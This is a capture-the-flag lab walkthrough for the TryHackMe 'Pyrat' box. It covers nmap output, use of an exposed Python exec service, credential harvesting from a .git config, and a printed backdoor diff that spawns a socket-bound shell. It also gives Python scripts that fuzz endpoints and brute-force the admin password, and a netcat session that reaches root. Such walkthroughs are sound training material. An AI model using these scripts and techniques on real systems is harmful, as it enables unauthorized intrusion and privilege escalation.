THM Pyrat
Pyrat
Summary
- As decription of room. That is step by step to do this.
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
| 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE
8000/tcp open http-alt syn-ack SimpleHTTP/0.6 Python/3.11.2
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
Enumeration
Two open port are 22
and 8000
.
When access port 8000
, we see.
Let’s think about connection. We can not get any infomation via browser. Change to termial
and netcat
.
This is python shell
so we can find a payload to bypass it.
We can find the payload in https://www.revshells.com/.
well-know
folder is ???
Upload linpeas.sh
to /tmp
and run it.
We found .git
folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@Pyrat:/opt/dev$ cd .git
cd .git
www-data@Pyrat:/opt/dev/.git$ ls -la
ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
www-data@Pyrat:/opt/dev/.git$ cat config
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = <REDACTED>
www-data@Pyrat:/opt/dev/.git$
We got credential access ssh.
GOT USER FLAG
SSH to the target and analyze .git
folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
git log -p -2
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+ if data == 'some_endpoint':
+ get_this_enpoint(client_socket)
+ else:
+ # Check socket is admin and downgrade if is not aprooved
+ uid = os.getuid()
+ if (uid == 0):
+ change_uid()
+
+ if data == 'shell':
+ shell(client_socket)
+ else:
+ exec_python(client_socket, data)
+
+def shell(client_socket):
+ try:
+ import pty
+ os.dup2(client_socket.fileno(), 0)
+ os.dup2(client_socket.fileno(), 1)
+ os.dup2(client_socket.fileno(), 2)
+ pty.spawn("/bin/sh")
+ except Exception as e:
+ send_data(client_socket, e
+
+...............................................
(END)
- Functionality: The code implements a basic command handler for a socket connection, capable of handling specific commands like ‘some_endpoint’ and ‘shell’, while also allowing the execution of arbitrary Python code.
- Security Risks: The ability to spawn a shell and execute arbitrary code poses significant security risks. This type of functionality could easily be exploited if proper authentication and validation are not implemented.
- Privilege Management: The code also contains a mechanism to potentially downgrade permissions from root to a less privileged user, enhancing security by not running processes with excessive privileges unnecessarily.
Let fuzzing the some_endpoint
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import sys
import socket
# Check if the number of arguments is exactly 1 (excluding the script name)
if len(sys.argv) != 4: # len(sys.argv) includes the script name
print("Error: Script requires exactly IP of target and list endpoint.")
print(f"Usage: {sys.argv[0]} <IP> <list_endpoint> <endpoint>")
sys.exit(1) # Exit with an error code
# Define the target IP
target_ip = sys.argv[1]
target_port = 8000
file_path1 = sys.argv[2] # Path to your file containing fuzz strings
file_path2 = sys.argv[3] # Path to fuzzed endpoint.
def fuzz_with_file_strings(file_path):
try:
# Read fuzz strings from the file
with open(file_path1, 'r') as file:
fuzz_strings = [line.strip() for line in file.readlines()]
# Create a socket connection to the server
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((target_ip, target_port))
# Send each fuzz string to the server
for fuzz_string in fuzz_strings:
#print(f"Fuzzing with payload: {fuzz_string}")
client_socket.sendall(fuzz_string.encode()) # Send fuzz payload
response = client_socket.recv(4096).decode() # Receive server response
#print(response)
if not response or "invalid syntax" in response or "is not defined" in response or "leading zeros" in response:
#print("Skipped empty response or response containing 'a' or 'b'.")
continue # Skip this iteration and continue with the next fuzz string
print(f"Fuzzing with payload: {fuzz_string}")
print(response)
with open(file_path2, 'a') as endpoint:
endpoint.write(f"Response to payload '{fuzz_string}': {response}\n\n")
except FileNotFoundError:
print(f"File '{file_path1}' or '{file_path2}' not found.")
except Exception as e:
print(f"Error occurred: {e}")
finally:
client_socket.close()
# Example usage
fuzz_with_file_strings(file_path1)
Prepare list_endpoint.txt
with common endpoint to check.
Prepare blank endpoint.txt
to write result fuzzing.
Found admin
is special endpoint. It need a password to continous. Continous fuzzing password for admin
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import sys
import socket
# Check if the number of arguments is exactly 2 (excluding the script name)
if len(sys.argv) != 3: # len(sys.argv) includes the script name
print("Error: Script requires exactly IP of target and list password.")
print(f"Usage: {sys.argv[0]} <IP> <list password>")
sys.exit(1) # Exit with an error code
# Define the target IP
target_ip = sys.argv[1]
target_port = 8000
file_path = sys.argv[2] # Path to your file containing fuzz strings
def fuzz_with_file_strings(file_path):
try:
# Read fuzz strings from the file
with open(file_path, 'r') as file:
fuzz_strings = [line.strip() for line in file.readlines()]
for fuzz_string in fuzz_strings:
# Create a socket connection to the server
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((target_ip, target_port))
client_socket.sendall('admin'.encode())
response = client_socket.recv(4096).decode()
# print(response)
client_socket.sendall(fuzz_string.encode()) # Send each fuzz string to the server
response = client_socket.recv(4096).decode()
if "Password" in response:
continue # Skip this iteration and continue with the next fuzz string
print(f"Password for admin: {fuzz_string}")
except FileNotFoundError:
print(f"File '{file_path}' not found.")
except Exception as e:
print(f"Error occurred: {e}")
finally:
client_socket.close()
# Example usage
fuzz_with_file_strings(file_path)
With rockyou.txt
, we found password.
1
2
3
┌──(kali㉿kali)-[~/thm/Pyrat]
└─$ python3 finding_password.py 10.10.193.111 ./rockyou.txt
Password for admin: <REDACTED>
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/thm/Pyrat/.git]
└─$ nc 10.10.193.111 8000
admin
Password:
<REDACTED>
Welcome Admin!!! Type "shell" to begin
shell
# id
uid=0(root) gid=0(root) groups=0(root)
#
GOT ROOT FLAG
My python is not good. I have spent some time to optimize my python code to avoid noise but it takes up a lot of my time and in this case it is not necessary and I will go back to optimize the code when I have time.